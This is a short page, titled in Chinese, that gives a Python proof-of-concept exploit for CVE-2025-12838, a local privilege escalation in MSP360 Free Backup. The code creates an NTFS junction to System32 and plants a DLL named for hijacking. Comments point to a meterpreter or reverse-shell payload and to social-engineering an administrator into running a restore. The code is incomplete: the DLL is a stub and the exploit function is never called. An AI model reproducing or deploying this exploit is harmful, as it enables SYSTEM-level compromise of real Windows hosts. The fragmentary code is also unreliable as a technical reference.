CVE-2025-12838 MSP360 Free Backup 符号链接本地权限提升漏洞

# CVE-2025-12838 PoC - MSP360 Free Backup Link Following LPE # Author: Security Researcher # Environment: Windows with MSP360 Free Backup installed import os import subprocess import time import shutil def create_junction(path, target): """Create a NTFS junction point""" try: # Remove directory if exists if os.path.exists(path): os.rmdir(path) # Create junction using mklink subprocess.run(['cmd', '/c', 'mklink', '/J', path, target], check=True, capture_output=True) print(f"[+] Junction created: {path} -> {target}") return True except Exception as e: print(f"[-] Failed to create junction: {e}") return False def prepare_malicious_dll(dll_path): """Prepare malicious DLL for privilege escalation""" # Generate reverse shell DLL or payload DLL # This is a placeholder - actual DLL contains meterpreter/reverse shell dll_content = b'MZ' + b'\x00' * 100 # Minimal DLL stub with open(dll_path, 'wb') as f: f.write(dll_content) print(f"[+] Malicious DLL prepared: {dll_path}") def exploit(): """Execute the privilege escalation exploit""" temp_dir = "C:\\Users\\Public\\Documents\\BackupRestore" system32_target = "C:\\Windows\\System32" malicious_dll = os.path.join(temp_dir, "wlbsctrl.dll") print("[*] Starting CVE-2025-12838 Exploit") print("[*] Target: MSP360 Free Backup Service") # Step 1: Prepare directory structure os.makedirs(temp_dir, exist_ok=True) # Step 2: Create junction pointing to System32 if not create_junction(temp_dir, system32_target): return False # Step 3: Prepare malicious DLL prepare_malicious_dll(malicious_dll) # Step 4: Trigger restore functionality # In real attack, this would be done via: # - Social engineering to get admin to restore from attacker-controlled backup # - Exploiting scheduled backup tasks # - Abusing legitimate backup restore API print("[+] Waiting for restore operation to complete...") print("[+] DLL should now be written to System32 via junction") print("[+] Next: Wait for system service to load the DLL for SYSTEM code execution") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-12838 MSP360 Free Backup LPE Exploit") print("Note: Requires low-privilege code execution + admin interaction") print("=" * 60) # Note: Actual exploitation requires valid backup file and restore trigger # This PoC demonstrates the link following technique